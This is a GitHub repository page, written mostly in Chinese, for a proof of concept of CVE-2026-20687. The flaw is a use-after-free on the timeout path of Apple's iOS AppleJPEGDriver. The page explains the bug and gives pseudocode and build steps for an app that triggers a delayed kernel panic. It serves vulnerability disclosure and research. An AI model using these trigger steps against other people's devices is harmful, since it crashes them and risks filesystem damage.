enfilade-labs/CVE-2026-20687-AppleJPEGDriver-UAF

GitHub: enfilade-labs/CVE-2026-20687-AppleJPEGDriver-UAF

针对 AppleJPEGDriver UAF 漏洞(CVE-2026-20687)的 iOS 内核级 PoC,演示通过超时路径释放后使用导致延迟触发内核崩溃的完整流程。

Stars: 0 | Forks: 0

# CVE-2026-20687 — AppleJPEGDriver startDecoder 超时 UAF [**CVE-2026-20687**](https://support.apple.com/en-us/126792) · Enfilade · [enfilade.io](https://enfilade.io) ## 目标 | | | | ---------- | --------------------------------------------------- | | iOS | 26.3 (23D125) (已测试) | | macOS | — | | 组件 | `AppleJPEGDriver` | | 已修复 | iOS 26.4 / iPadOS 26.4 | | 硬件 | iPhone18,2 (iPhone 17 Pro Max, A19 Pro) | ## 警告 运行此 PoC 将导致设备发生内核崩溃。请在运行前保存您的工作。反复崩溃可能会导致文件系统损坏。仅供安全研究使用。 ## 漏洞 `startDecoder_sync` 中的超时路径释放了一个请求,但将其嵌入的队列节点指针留在了 per-codec 向量中。随后的队列遍历会解引用该过期节点,并且内核会在 MTE 标签检查执行时发生崩溃。该崩溃通常会延迟到后续运行同步 JPEG 解码时发生——在 iPhone 上,这种情况通常在打开“相机”应用时可靠地触发。 ## 概念验证 ``` // Primes the driver; the panic is usually deferred until Camera is opened. IOServiceOpen("AppleJPEGDriver"); for (int i = 0; i < N; i++) { startDecoder_async(); // queue_io_gated: vector.push(req + 0x78) } IOServiceClose(conn); // Later, opening Camera triggers: startDecoder_sync(); queue_io_gated: vector.push(req + 0x78); wait(10s) -> TIMEOUT; pool_free(req); // BUG: does NOT dequeue (req + 0x78) // Later still (finish_io_gated): fullSpeedRequestExist(): node_ptr = vector[i]; // stale: node_ptr == (freed req + 0x78) req2 = *(node_ptr + 0x8); // UAF read -> MTE tag fault -> panic ``` ## 构建与运行 1. 在 Xcode 中打开 `ios-app/Test.xcodeproj`。 2. 选择一台实体 iOS 设备(模拟器无法访问该驱动)。 3. 构建并运行,然后点击 **Panic**(预热驱动程序并排队异步工作)。 4. 打开 **Camera**(相机)应用以触发延迟的崩溃。 ## 许可证 参见 [LICENSE](LICENSE)。
标签:0day, A19 Pro, AppleJPEGDriver, CVE-2026-20687, CVE监控, IOKit, iOS, iOS 26.3, iPhone 17 Pro Max, MTE, UAF, Web报告查看器, 代码执行, 内存标记扩展, 内核恐慌, 内核漏洞, 提权, 搜索语句(dork), 漏洞PoC, 竞态条件, 释放后使用, 驱动漏洞